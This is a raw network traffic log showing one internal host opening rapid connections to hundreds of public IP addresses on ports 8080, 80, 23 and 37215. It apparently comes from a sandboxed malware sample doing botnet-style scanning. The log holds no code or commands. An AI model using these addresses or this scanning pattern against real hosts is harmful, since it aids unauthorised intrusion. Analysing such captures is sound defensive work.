Mar 4, 2024 15:05:35.369276047 CET	47577	8080	192.168.2.13	31.222.217.161
Mar 4, 2024 15:05:35.369287968 CET	47577	8080	192.168.2.13	85.245.79.35
Mar 4, 2024 15:05:35.369287968 CET	47577	8080	192.168.2.13	85.12.252.238
Mar 4, 2024 15:05:35.369294882 CET	47577	8080	192.168.2.13	94.61.18.135
Mar 4, 2024 15:05:35.369302034 CET	47577	8080	192.168.2.13	31.4.162.250
Mar 4, 2024 15:05:35.369308949 CET	47577	8080	192.168.2.13	94.229.185.21
Mar 4, 2024 15:05:35.369318962 CET	47577	8080	192.168.2.13	31.58.164.63
Mar 4, 2024 15:05:35.369323015 CET	47577	8080	192.168.2.13	62.143.58.181
Mar 4, 2024 15:05:35.369323015 CET	47577	8080	192.168.2.13	85.63.178.54
Mar 4, 2024 15:05:35.369326115 CET	47577	8080	192.168.2.13	62.199.119.130
Mar 4, 2024 15:05:35.369337082 CET	47577	8080	192.168.2.13	85.64.238.164
Mar 4, 2024 15:05:35.369347095 CET	47577	8080	192.168.2.13	94.116.205.116
Mar 4, 2024 15:05:35.369354010 CET	47577	8080	192.168.2.13	94.3.209.198
Mar 4, 2024 15:05:35.369354010 CET	47577	8080	192.168.2.13	85.200.36.136
Mar 4, 2024 15:05:35.369365931 CET	47577	8080	192.168.2.13	85.140.87.44
Mar 4, 2024 15:05:35.369365931 CET	47577	8080	192.168.2.13	31.212.18.221
Mar 4, 2024 15:05:35.369379044 CET	47577	8080	192.168.2.13	85.194.87.82
Mar 4, 2024 15:05:35.369379044 CET	47577	8080	192.168.2.13	31.112.126.48
Mar 4, 2024 15:05:35.369390965 CET	47577	8080	192.168.2.13	31.209.10.124
Mar 4, 2024 15:05:35.369393110 CET	47577	8080	192.168.2.13	94.227.170.140
Mar 4, 2024 15:05:35.369394064 CET	47577	8080	192.168.2.13	85.219.36.105
Mar 4, 2024 15:05:35.369396925 CET	47577	8080	192.168.2.13	94.248.104.73
Mar 4, 2024 15:05:35.369410038 CET	47577	8080	192.168.2.13	95.204.151.22
Mar 4, 2024 15:05:35.369419098 CET	47577	8080	192.168.2.13	85.252.220.241
Mar 4, 2024 15:05:35.369422913 CET	47577	8080	192.168.2.13	95.232.42.80
Mar 4, 2024 15:05:35.369431973 CET	47577	8080	192.168.2.13	31.104.154.228
Mar 4, 2024 15:05:35.369431973 CET	47577	8080	192.168.2.13	94.111.173.185
Mar 4, 2024 15:05:35.369450092 CET	47577	8080	192.168.2.13	85.185.131.92
Mar 4, 2024 15:05:35.369451046 CET	47577	8080	192.168.2.13	94.117.180.94
Mar 4, 2024 15:05:35.369451046 CET	47577	8080	192.168.2.13	94.145.145.134
Mar 4, 2024 15:05:35.369468927 CET	47577	8080	192.168.2.13	31.129.157.218
Mar 4, 2024 15:05:35.369471073 CET	47577	8080	192.168.2.13	31.74.40.56
Mar 4, 2024 15:05:35.369474888 CET	47577	8080	192.168.2.13	95.55.78.163
Mar 4, 2024 15:05:35.369476080 CET	47577	8080	192.168.2.13	94.65.211.237
Mar 4, 2024 15:05:35.369477987 CET	47577	8080	192.168.2.13	31.184.169.148
Mar 4, 2024 15:05:35.369489908 CET	47577	8080	192.168.2.13	62.69.16.160
Mar 4, 2024 15:05:35.369502068 CET	47577	8080	192.168.2.13	95.208.133.225
Mar 4, 2024 15:05:35.369503975 CET	47577	8080	192.168.2.13	95.196.174.3
Mar 4, 2024 15:05:35.369508982 CET	47577	8080	192.168.2.13	95.218.52.115
Mar 4, 2024 15:05:35.369518995 CET	47577	8080	192.168.2.13	31.210.84.170
Mar 4, 2024 15:05:35.369524956 CET	47577	8080	192.168.2.13	94.157.149.23
Mar 4, 2024 15:05:35.369538069 CET	47577	8080	192.168.2.13	85.107.209.99
Mar 4, 2024 15:05:35.369540930 CET	47577	8080	192.168.2.13	85.228.31.81
Mar 4, 2024 15:05:35.369544029 CET	47577	8080	192.168.2.13	85.108.36.107
Mar 4, 2024 15:05:35.369556904 CET	47577	8080	192.168.2.13	31.8.222.75
Mar 4, 2024 15:05:35.369570017 CET	47577	8080	192.168.2.13	94.210.215.142
Mar 4, 2024 15:05:35.369574070 CET	47577	8080	192.168.2.13	31.7.178.180
Mar 4, 2024 15:05:35.369580030 CET	47577	8080	192.168.2.13	85.124.35.140
Mar 4, 2024 15:05:35.369586945 CET	47577	8080	192.168.2.13	31.20.228.89
Mar 4, 2024 15:05:35.369589090 CET	47577	8080	192.168.2.13	62.73.120.253
Mar 4, 2024 15:05:35.369601011 CET	47577	8080	192.168.2.13	31.208.212.209
Mar 4, 2024 15:05:35.369616985 CET	47577	8080	192.168.2.13	31.36.67.150
Mar 4, 2024 15:05:35.369621038 CET	47577	8080	192.168.2.13	62.21.237.109
Mar 4, 2024 15:05:35.369623899 CET	47577	8080	192.168.2.13	85.220.172.243
Mar 4, 2024 15:05:35.369637966 CET	47577	8080	192.168.2.13	31.131.204.143
Mar 4, 2024 15:05:35.369640112 CET	47577	8080	192.168.2.13	62.96.194.163
Mar 4, 2024 15:05:35.369645119 CET	47577	8080	192.168.2.13	95.188.216.65
Mar 4, 2024 15:05:35.369648933 CET	47577	8080	192.168.2.13	95.31.199.14
Mar 4, 2024 15:05:35.369654894 CET	47577	8080	192.168.2.13	62.247.239.236
Mar 4, 2024 15:05:35.369669914 CET	47577	8080	192.168.2.13	62.193.31.83
Mar 4, 2024 15:05:35.369674921 CET	47577	8080	192.168.2.13	94.175.248.34
Mar 4, 2024 15:05:35.369683981 CET	47577	8080	192.168.2.13	95.98.190.193
Mar 4, 2024 15:05:35.369685888 CET	47577	8080	192.168.2.13	94.16.27.140
Mar 4, 2024 15:05:35.369700909 CET	47577	8080	192.168.2.13	95.22.198.19
Mar 4, 2024 15:05:35.369712114 CET	47577	8080	192.168.2.13	85.127.225.61
Mar 4, 2024 15:05:35.369712114 CET	47577	8080	192.168.2.13	94.72.92.203
Mar 4, 2024 15:05:35.369712114 CET	47577	8080	192.168.2.13	95.149.100.228
Mar 4, 2024 15:05:35.369719028 CET	47577	8080	192.168.2.13	31.48.20.150
Mar 4, 2024 15:05:35.369720936 CET	47577	8080	192.168.2.13	62.30.75.51
Mar 4, 2024 15:05:35.369735003 CET	47577	8080	192.168.2.13	94.16.32.163
Mar 4, 2024 15:05:35.369738102 CET	47577	8080	192.168.2.13	62.212.180.201
Mar 4, 2024 15:05:35.369738102 CET	47577	8080	192.168.2.13	62.251.132.123
Mar 4, 2024 15:05:35.369748116 CET	47577	8080	192.168.2.13	62.75.206.51
Mar 4, 2024 15:05:35.369754076 CET	47577	8080	192.168.2.13	94.176.10.198
Mar 4, 2024 15:05:35.369761944 CET	47577	8080	192.168.2.13	31.14.107.115
Mar 4, 2024 15:05:35.369761944 CET	47577	8080	192.168.2.13	95.192.87.60
Mar 4, 2024 15:05:35.369776011 CET	47577	8080	192.168.2.13	31.241.39.220
Mar 4, 2024 15:05:35.369779110 CET	47577	8080	192.168.2.13	31.98.30.138
Mar 4, 2024 15:05:35.369791985 CET	47577	8080	192.168.2.13	94.106.26.36
Mar 4, 2024 15:05:35.369805098 CET	47577	8080	192.168.2.13	94.161.42.155
Mar 4, 2024 15:05:35.369807005 CET	47577	8080	192.168.2.13	85.174.140.110
Mar 4, 2024 15:05:35.369810104 CET	47577	8080	192.168.2.13	31.172.0.87
Mar 4, 2024 15:05:35.369823933 CET	47577	8080	192.168.2.13	95.26.87.127
Mar 4, 2024 15:05:35.369823933 CET	47577	8080	192.168.2.13	95.1.149.201
Mar 4, 2024 15:05:35.369842052 CET	47577	8080	192.168.2.13	94.135.192.239
Mar 4, 2024 15:05:35.369842052 CET	47577	8080	192.168.2.13	62.95.137.153
Mar 4, 2024 15:05:35.369854927 CET	47577	8080	192.168.2.13	94.55.149.181
Mar 4, 2024 15:05:35.369854927 CET	47577	8080	192.168.2.13	62.246.86.59
Mar 4, 2024 15:05:35.369863987 CET	47577	8080	192.168.2.13	62.151.151.90
Mar 4, 2024 15:05:35.369868994 CET	47577	8080	192.168.2.13	95.26.18.209
Mar 4, 2024 15:05:35.369880915 CET	47577	8080	192.168.2.13	31.7.129.26
Mar 4, 2024 15:05:35.369884014 CET	47577	8080	192.168.2.13	31.206.75.159
Mar 4, 2024 15:05:35.369891882 CET	47577	8080	192.168.2.13	85.148.214.66
Mar 4, 2024 15:05:35.369901896 CET	47577	8080	192.168.2.13	62.223.148.3
Mar 4, 2024 15:05:35.369913101 CET	47577	8080	192.168.2.13	31.63.208.68
Mar 4, 2024 15:05:35.369923115 CET	47577	8080	192.168.2.13	85.70.208.94
Mar 4, 2024 15:05:35.369924068 CET	47577	8080	192.168.2.13	95.250.252.146
Mar 4, 2024 15:05:35.369925976 CET	47577	8080	192.168.2.13	95.73.60.71
Mar 4, 2024 15:05:35.369935989 CET	47577	8080	192.168.2.13	95.96.14.163
Mar 4, 2024 15:05:35.369944096 CET	47577	8080	192.168.2.13	94.246.202.140
Mar 4, 2024 15:05:35.369944096 CET	47577	8080	192.168.2.13	85.180.42.19
Mar 4, 2024 15:05:35.369945049 CET	47577	8080	192.168.2.13	85.232.127.40
Mar 4, 2024 15:05:35.369959116 CET	47577	8080	192.168.2.13	31.211.194.55
Mar 4, 2024 15:05:35.369961977 CET	47577	8080	192.168.2.13	31.51.64.128
Mar 4, 2024 15:05:35.369965076 CET	47577	8080	192.168.2.13	94.93.253.76
Mar 4, 2024 15:05:35.369982004 CET	47577	8080	192.168.2.13	31.85.192.180
Mar 4, 2024 15:05:35.369985104 CET	47577	8080	192.168.2.13	85.53.247.247
Mar 4, 2024 15:05:35.369986057 CET	47577	8080	192.168.2.13	85.180.165.103
Mar 4, 2024 15:05:35.369988918 CET	47577	8080	192.168.2.13	62.130.42.235
Mar 4, 2024 15:05:35.369999886 CET	47577	8080	192.168.2.13	31.80.88.191
Mar 4, 2024 15:05:35.370001078 CET	47577	8080	192.168.2.13	94.5.34.69
Mar 4, 2024 15:05:35.370153904 CET	41120	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:35.370166063 CET	41120	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:35.370204926 CET	41122	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:35.370229959 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:35.370229959 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:35.370260000 CET	54742	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:35.379009962 CET	8080	47577	31.207.113.81	192.168.2.13
Mar 4, 2024 15:05:35.381694078 CET	8080	47577	62.2.74.2	192.168.2.13
Mar 4, 2024 15:05:35.384167910 CET	8080	47577	95.217.69.234	192.168.2.13
Mar 4, 2024 15:05:35.390280008 CET	37215	47833	197.56.109.59	192.168.2.13
Mar 4, 2024 15:05:35.393302917 CET	37215	47833	197.128.74.120	192.168.2.13
Mar 4, 2024 15:05:35.406102896 CET	8080	47577	62.228.219.36	192.168.2.13
Mar 4, 2024 15:05:35.412599087 CET	23	50393	179.215.37.251	192.168.2.13
Mar 4, 2024 15:05:35.412744999 CET	23	50393	79.121.54.68	192.168.2.13
Mar 4, 2024 15:05:35.412806988 CET	50393	23	192.168.2.13	79.121.54.68
Mar 4, 2024 15:05:35.413614035 CET	8080	41024	94.123.65.224	192.168.2.13
Mar 4, 2024 15:05:35.413669109 CET	41024	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:35.413800955 CET	41024	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:35.413815022 CET	41024	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:35.413861036 CET	41042	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:35.415498972 CET	8080	42590	94.123.84.109	192.168.2.13
Mar 4, 2024 15:05:35.415558100 CET	42590	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:35.415607929 CET	42590	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:35.415621996 CET	42590	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:35.415641069 CET	42602	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:35.432272911 CET	8080	47577	31.146.99.205	192.168.2.13
Mar 4, 2024 15:05:35.469640017 CET	23	50393	220.246.205.251	192.168.2.13
Mar 4, 2024 15:05:35.506234884 CET	23	50393	120.119.107.240	192.168.2.13
Mar 4, 2024 15:05:35.506299973 CET	50393	23	192.168.2.13	120.119.107.240
Mar 4, 2024 15:05:35.545350075 CET	8080	47577	62.2.64.6	192.168.2.13
Mar 4, 2024 15:05:35.556050062 CET	8080	47577	94.74.253.130	192.168.2.13
Mar 4, 2024 15:05:35.563113928 CET	8080	47577	94.232.216.89	192.168.2.13
Mar 4, 2024 15:05:35.564064980 CET	8080	47577	85.89.33.31	192.168.2.13
Mar 4, 2024 15:05:35.568032980 CET	8080	47577	95.217.86.36	192.168.2.13
Mar 4, 2024 15:05:35.568109035 CET	47577	8080	192.168.2.13	95.217.86.36
Mar 4, 2024 15:05:35.575807095 CET	80	57024	112.124.55.210	192.168.2.13
Mar 4, 2024 15:05:35.575875998 CET	57024	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:35.575923920 CET	48089	80	192.168.2.13	112.96.54.90
Mar 4, 2024 15:05:35.575927973 CET	48089	80	192.168.2.13	112.122.28.84
Mar 4, 2024 15:05:35.575939894 CET	48089	80	192.168.2.13	112.11.177.98
Mar 4, 2024 15:05:35.575927973 CET	48089	80	192.168.2.13	112.10.255.202
Mar 4, 2024 15:05:35.575942993 CET	48089	80	192.168.2.13	112.74.174.30
Mar 4, 2024 15:05:35.575975895 CET	48089	80	192.168.2.13	112.168.249.126
Mar 4, 2024 15:05:35.575975895 CET	48089	80	192.168.2.13	112.130.67.191
Mar 4, 2024 15:05:35.575975895 CET	48089	80	192.168.2.13	112.22.24.119
Mar 4, 2024 15:05:35.575987101 CET	48089	80	192.168.2.13	112.144.203.75
Mar 4, 2024 15:05:35.575988054 CET	48089	80	192.168.2.13	112.68.238.120
Mar 4, 2024 15:05:35.575999975 CET	48089	80	192.168.2.13	112.183.171.159
Mar 4, 2024 15:05:35.576000929 CET	48089	80	192.168.2.13	112.93.119.76
Mar 4, 2024 15:05:35.576010942 CET	48089	80	192.168.2.13	112.173.226.60
Mar 4, 2024 15:05:35.576016903 CET	48089	80	192.168.2.13	112.38.6.174
Mar 4, 2024 15:05:35.576040983 CET	48089	80	192.168.2.13	112.220.132.57
Mar 4, 2024 15:05:35.576041937 CET	48089	80	192.168.2.13	112.82.97.129
Mar 4, 2024 15:05:35.576041937 CET	48089	80	192.168.2.13	112.11.252.69
Mar 4, 2024 15:05:35.576064110 CET	48089	80	192.168.2.13	112.30.29.199
Mar 4, 2024 15:05:35.576075077 CET	48089	80	192.168.2.13	112.234.152.184
Mar 4, 2024 15:05:35.576081038 CET	48089	80	192.168.2.13	112.189.248.38
Mar 4, 2024 15:05:35.576087952 CET	48089	80	192.168.2.13	112.173.45.50
Mar 4, 2024 15:05:35.576097965 CET	48089	80	192.168.2.13	112.101.124.119
Mar 4, 2024 15:05:35.576097965 CET	48089	80	192.168.2.13	112.41.66.164
Mar 4, 2024 15:05:35.576097965 CET	48089	80	192.168.2.13	112.197.178.136
Mar 4, 2024 15:05:35.576107979 CET	48089	80	192.168.2.13	112.158.102.42
Mar 4, 2024 15:05:35.576126099 CET	48089	80	192.168.2.13	112.28.170.28
Mar 4, 2024 15:05:35.576133966 CET	48089	80	192.168.2.13	112.122.59.28
Mar 4, 2024 15:05:35.576134920 CET	48089	80	192.168.2.13	112.122.216.193
Mar 4, 2024 15:05:35.576144934 CET	48089	80	192.168.2.13	112.9.16.133
Mar 4, 2024 15:05:35.576148033 CET	48089	80	192.168.2.13	112.225.8.145
Mar 4, 2024 15:05:35.576165915 CET	48089	80	192.168.2.13	112.13.31.127
Mar 4, 2024 15:05:35.576169968 CET	48089	80	192.168.2.13	112.2.190.52
Mar 4, 2024 15:05:35.576169968 CET	48089	80	192.168.2.13	112.115.239.124
Mar 4, 2024 15:05:35.576179028 CET	48089	80	192.168.2.13	112.174.205.235
Mar 4, 2024 15:05:35.576189041 CET	48089	80	192.168.2.13	112.164.79.46
Mar 4, 2024 15:05:35.576191902 CET	48089	80	192.168.2.13	112.142.172.180
Mar 4, 2024 15:05:35.576205969 CET	48089	80	192.168.2.13	112.177.97.240
Mar 4, 2024 15:05:35.576212883 CET	48089	80	192.168.2.13	112.54.172.219
Mar 4, 2024 15:05:35.576224089 CET	48089	80	192.168.2.13	112.67.27.119
Mar 4, 2024 15:05:35.576236963 CET	48089	80	192.168.2.13	112.119.250.224
Mar 4, 2024 15:05:35.576248884 CET	48089	80	192.168.2.13	112.140.216.48
Mar 4, 2024 15:05:35.576248884 CET	48089	80	192.168.2.13	112.208.254.148
Mar 4, 2024 15:05:35.576248884 CET	48089	80	192.168.2.13	112.255.57.175
Mar 4, 2024 15:05:35.576267958 CET	48089	80	192.168.2.13	112.93.105.156
Mar 4, 2024 15:05:35.576270103 CET	48089	80	192.168.2.13	112.92.205.156
Mar 4, 2024 15:05:35.576270103 CET	48089	80	192.168.2.13	112.193.195.190
Mar 4, 2024 15:05:35.576281071 CET	48089	80	192.168.2.13	112.90.128.224
Mar 4, 2024 15:05:35.576296091 CET	48089	80	192.168.2.13	112.210.237.87
Mar 4, 2024 15:05:35.576303959 CET	48089	80	192.168.2.13	112.185.83.8
Mar 4, 2024 15:05:35.576313972 CET	48089	80	192.168.2.13	112.50.150.121
Mar 4, 2024 15:05:35.576324940 CET	48089	80	192.168.2.13	112.222.222.160
Mar 4, 2024 15:05:35.576329947 CET	48089	80	192.168.2.13	112.180.188.182
Mar 4, 2024 15:05:35.576329947 CET	48089	80	192.168.2.13	112.118.54.199
Mar 4, 2024 15:05:35.576347113 CET	48089	80	192.168.2.13	112.13.83.216
Mar 4, 2024 15:05:35.576351881 CET	48089	80	192.168.2.13	112.58.12.75
Mar 4, 2024 15:05:35.576351881 CET	48089	80	192.168.2.13	112.234.231.236
Mar 4, 2024 15:05:35.576369047 CET	48089	80	192.168.2.13	112.111.230.112
Mar 4, 2024 15:05:35.576373100 CET	48089	80	192.168.2.13	112.253.24.198
Mar 4, 2024 15:05:35.576380968 CET	48089	80	192.168.2.13	112.41.69.161
Mar 4, 2024 15:05:35.576387882 CET	48089	80	192.168.2.13	112.85.36.184
Mar 4, 2024 15:05:35.576390028 CET	48089	80	192.168.2.13	112.103.200.177
Mar 4, 2024 15:05:35.576400995 CET	48089	80	192.168.2.13	112.58.47.54
Mar 4, 2024 15:05:35.576412916 CET	48089	80	192.168.2.13	112.140.19.149
Mar 4, 2024 15:05:35.576415062 CET	48089	80	192.168.2.13	112.191.207.170
Mar 4, 2024 15:05:35.576417923 CET	48089	80	192.168.2.13	112.227.247.96
Mar 4, 2024 15:05:35.576432943 CET	48089	80	192.168.2.13	112.255.66.187
Mar 4, 2024 15:05:35.576432943 CET	48089	80	192.168.2.13	112.11.115.100
Mar 4, 2024 15:05:35.576436043 CET	48089	80	192.168.2.13	112.30.169.185
Mar 4, 2024 15:05:35.576436043 CET	48089	80	192.168.2.13	112.177.26.242
Mar 4, 2024 15:05:35.576452971 CET	48089	80	192.168.2.13	112.195.116.137
Mar 4, 2024 15:05:35.576459885 CET	48089	80	192.168.2.13	112.138.40.225
Mar 4, 2024 15:05:35.576462030 CET	48089	80	192.168.2.13	112.37.79.137
Mar 4, 2024 15:05:35.576459885 CET	48089	80	192.168.2.13	112.98.199.44
Mar 4, 2024 15:05:35.576474905 CET	48089	80	192.168.2.13	112.120.108.228
Mar 4, 2024 15:05:35.576478004 CET	48089	80	192.168.2.13	112.61.8.229
Mar 4, 2024 15:05:35.576488972 CET	48089	80	192.168.2.13	112.20.208.157
Mar 4, 2024 15:05:35.576500893 CET	48089	80	192.168.2.13	112.147.151.81
Mar 4, 2024 15:05:35.576500893 CET	48089	80	192.168.2.13	112.25.161.220
Mar 4, 2024 15:05:35.576524019 CET	48089	80	192.168.2.13	112.152.157.4
Mar 4, 2024 15:05:35.576530933 CET	48089	80	192.168.2.13	112.92.103.136
Mar 4, 2024 15:05:35.576530933 CET	48089	80	192.168.2.13	112.185.139.98
Mar 4, 2024 15:05:35.576536894 CET	48089	80	192.168.2.13	112.238.57.28
Mar 4, 2024 15:05:35.576536894 CET	48089	80	192.168.2.13	112.218.231.195
Mar 4, 2024 15:05:35.576550007 CET	48089	80	192.168.2.13	112.149.243.88
Mar 4, 2024 15:05:35.576560974 CET	48089	80	192.168.2.13	112.158.64.82
Mar 4, 2024 15:05:35.576560974 CET	48089	80	192.168.2.13	112.114.230.248
Mar 4, 2024 15:05:35.576575994 CET	48089	80	192.168.2.13	112.62.154.102
Mar 4, 2024 15:05:35.576576948 CET	48089	80	192.168.2.13	112.237.199.121
Mar 4, 2024 15:05:35.576586962 CET	48089	80	192.168.2.13	112.25.179.46
Mar 4, 2024 15:05:35.576596975 CET	48089	80	192.168.2.13	112.71.245.166
Mar 4, 2024 15:05:35.576600075 CET	48089	80	192.168.2.13	112.204.134.228
Mar 4, 2024 15:05:35.576600075 CET	48089	80	192.168.2.13	112.47.54.179
Mar 4, 2024 15:05:35.576611042 CET	48089	80	192.168.2.13	112.108.131.8
Mar 4, 2024 15:05:35.576625109 CET	48089	80	192.168.2.13	112.255.56.21
Mar 4, 2024 15:05:35.576636076 CET	48089	80	192.168.2.13	112.111.86.117
Mar 4, 2024 15:05:35.576637983 CET	48089	80	192.168.2.13	112.133.192.7
Mar 4, 2024 15:05:35.576642990 CET	48089	80	192.168.2.13	112.23.58.166
Mar 4, 2024 15:05:35.576657057 CET	48089	80	192.168.2.13	112.11.129.196
Mar 4, 2024 15:05:35.576657057 CET	48089	80	192.168.2.13	112.124.70.79
Mar 4, 2024 15:05:35.576667070 CET	48089	80	192.168.2.13	112.81.119.156
Mar 4, 2024 15:05:35.576669931 CET	48089	80	192.168.2.13	112.153.157.70
Mar 4, 2024 15:05:35.576678038 CET	48089	80	192.168.2.13	112.149.7.138
Mar 4, 2024 15:05:35.576700926 CET	48089	80	192.168.2.13	112.91.129.153
Mar 4, 2024 15:05:35.576708078 CET	48089	80	192.168.2.13	112.136.234.227
Mar 4, 2024 15:05:35.576708078 CET	48089	80	192.168.2.13	112.10.57.79
Mar 4, 2024 15:05:35.576708078 CET	48089	80	192.168.2.13	112.169.101.194
Mar 4, 2024 15:05:35.576725006 CET	48089	80	192.168.2.13	112.91.92.175
Mar 4, 2024 15:05:35.576736927 CET	48089	80	192.168.2.13	112.235.188.147
Mar 4, 2024 15:05:35.576745987 CET	48089	80	192.168.2.13	112.64.46.57
Mar 4, 2024 15:05:35.576751947 CET	48089	80	192.168.2.13	112.136.93.220
Mar 4, 2024 15:05:35.576756954 CET	48089	80	192.168.2.13	112.127.194.198
Mar 4, 2024 15:05:35.576760054 CET	48089	80	192.168.2.13	112.199.88.198
Mar 4, 2024 15:05:35.576776028 CET	48089	80	192.168.2.13	112.52.128.76
Mar 4, 2024 15:05:35.576787949 CET	48089	80	192.168.2.13	112.121.96.103
Mar 4, 2024 15:05:35.576790094 CET	48089	80	192.168.2.13	112.228.18.210
Mar 4, 2024 15:05:35.576803923 CET	48089	80	192.168.2.13	112.136.37.20
Mar 4, 2024 15:05:35.576806068 CET	48089	80	192.168.2.13	112.132.223.153
Mar 4, 2024 15:05:35.576819897 CET	48089	80	192.168.2.13	112.241.14.130
Mar 4, 2024 15:05:35.576823950 CET	48089	80	192.168.2.13	112.100.8.1
Mar 4, 2024 15:05:35.576833010 CET	48089	80	192.168.2.13	112.69.100.137
Mar 4, 2024 15:05:35.576845884 CET	48089	80	192.168.2.13	112.165.103.38
Mar 4, 2024 15:05:35.576848984 CET	48089	80	192.168.2.13	112.201.15.129
Mar 4, 2024 15:05:35.576860905 CET	48089	80	192.168.2.13	112.218.114.134
Mar 4, 2024 15:05:35.576867104 CET	48089	80	192.168.2.13	112.186.230.51
Mar 4, 2024 15:05:35.576874018 CET	48089	80	192.168.2.13	112.107.255.159
Mar 4, 2024 15:05:35.576879025 CET	48089	80	192.168.2.13	112.100.235.237
Mar 4, 2024 15:05:35.576894999 CET	48089	80	192.168.2.13	112.147.47.220
Mar 4, 2024 15:05:35.576901913 CET	48089	80	192.168.2.13	112.0.240.124
Mar 4, 2024 15:05:35.576905012 CET	48089	80	192.168.2.13	112.148.237.26
Mar 4, 2024 15:05:35.576916933 CET	48089	80	192.168.2.13	112.117.186.102
Mar 4, 2024 15:05:35.576924086 CET	48089	80	192.168.2.13	112.165.134.71
Mar 4, 2024 15:05:35.576941013 CET	48089	80	192.168.2.13	112.32.194.244
Mar 4, 2024 15:05:35.576942921 CET	48089	80	192.168.2.13	112.84.151.70
Mar 4, 2024 15:05:35.576953888 CET	48089	80	192.168.2.13	112.86.214.34
Mar 4, 2024 15:05:35.576956987 CET	48089	80	192.168.2.13	112.145.214.214
Mar 4, 2024 15:05:35.576975107 CET	48089	80	192.168.2.13	112.129.230.158
Mar 4, 2024 15:05:35.576975107 CET	48089	80	192.168.2.13	112.210.181.144
Mar 4, 2024 15:05:35.577012062 CET	48089	80	192.168.2.13	112.144.128.139
Mar 4, 2024 15:05:35.577024937 CET	48089	80	192.168.2.13	112.31.248.165
Mar 4, 2024 15:05:35.577028036 CET	48089	80	192.168.2.13	112.118.179.62
Mar 4, 2024 15:05:35.577028036 CET	48089	80	192.168.2.13	112.201.233.52
Mar 4, 2024 15:05:35.577029943 CET	48089	80	192.168.2.13	112.143.131.67
Mar 4, 2024 15:05:35.577030897 CET	48089	80	192.168.2.13	112.133.64.57
Mar 4, 2024 15:05:35.577030897 CET	48089	80	192.168.2.13	112.103.55.36
Mar 4, 2024 15:05:35.577035904 CET	48089	80	192.168.2.13	112.130.123.249
Mar 4, 2024 15:05:35.577035904 CET	48089	80	192.168.2.13	112.218.129.216
Mar 4, 2024 15:05:35.577042103 CET	48089	80	192.168.2.13	112.168.40.253
Mar 4, 2024 15:05:35.577047110 CET	48089	80	192.168.2.13	112.179.213.190
Mar 4, 2024 15:05:35.577052116 CET	48089	80	192.168.2.13	112.204.222.139
Mar 4, 2024 15:05:35.577054977 CET	48089	80	192.168.2.13	112.148.174.244
Mar 4, 2024 15:05:35.577060938 CET	48089	80	192.168.2.13	112.208.168.234
Mar 4, 2024 15:05:35.577064037 CET	48089	80	192.168.2.13	112.0.64.20
Mar 4, 2024 15:05:35.577065945 CET	48089	80	192.168.2.13	112.242.243.226
Mar 4, 2024 15:05:35.577094078 CET	48089	80	192.168.2.13	112.215.255.217
Mar 4, 2024 15:05:35.577095032 CET	48089	80	192.168.2.13	112.218.248.148
Mar 4, 2024 15:05:35.577095032 CET	48089	80	192.168.2.13	112.173.42.78
Mar 4, 2024 15:05:35.577107906 CET	48089	80	192.168.2.13	112.191.171.197
Mar 4, 2024 15:05:35.577111006 CET	48089	80	192.168.2.13	112.149.68.113
Mar 4, 2024 15:05:35.577115059 CET	48089	80	192.168.2.13	112.207.29.180
Mar 4, 2024 15:05:35.577130079 CET	48089	80	192.168.2.13	112.83.149.237
Mar 4, 2024 15:05:35.577239990 CET	57024	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:35.577239990 CET	57024	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:35.577306032 CET	57042	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:35.588637114 CET	8080	47577	95.173.186.116	192.168.2.13
Mar 4, 2024 15:05:35.601475954 CET	8080	47577	85.93.46.225	192.168.2.13
Mar 4, 2024 15:05:35.603430033 CET	8080	47577	31.167.169.248	192.168.2.13
Mar 4, 2024 15:05:35.621666908 CET	8080	47577	31.146.239.28	192.168.2.13
Mar 4, 2024 15:05:35.627402067 CET	8080	41024	94.123.65.224	192.168.2.13
Mar 4, 2024 15:05:35.629184961 CET	8080	41042	94.123.65.224	192.168.2.13
Mar 4, 2024 15:05:35.629262924 CET	41042	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:35.629333973 CET	41042	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:35.631073952 CET	8080	42590	94.123.84.109	192.168.2.13
Mar 4, 2024 15:05:35.631911993 CET	8080	42602	94.123.84.109	192.168.2.13
Mar 4, 2024 15:05:35.631989956 CET	42602	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:35.632023096 CET	42602	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:35.739124060 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:35.767115116 CET	41120	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:35.844882011 CET	8080	41042	94.123.65.224	192.168.2.13
Mar 4, 2024 15:05:35.848195076 CET	8080	42602	94.123.84.109	192.168.2.13
Mar 4, 2024 15:05:35.863779068 CET	80	48089	112.220.132.57	192.168.2.13
Mar 4, 2024 15:05:35.883733988 CET	80	48089	112.120.108.228	192.168.2.13
Mar 4, 2024 15:05:35.883811951 CET	48089	80	192.168.2.13	112.120.108.228
Mar 4, 2024 15:05:35.887892962 CET	80	48089	112.208.254.148	192.168.2.13
Mar 4, 2024 15:05:35.891078949 CET	80	48089	112.118.54.199	192.168.2.13
Mar 4, 2024 15:05:35.906724930 CET	8080	54732	31.172.75.160	192.168.2.13
Mar 4, 2024 15:05:35.930598974 CET	8080	41120	62.84.96.245	192.168.2.13
Mar 4, 2024 15:05:35.940787077 CET	37215	47833	197.128.208.158	192.168.2.13
Mar 4, 2024 15:05:36.157108068 CET	47833	37215	192.168.2.13	41.17.0.135
Mar 4, 2024 15:05:36.157108068 CET	47833	37215	192.168.2.13	41.165.160.41
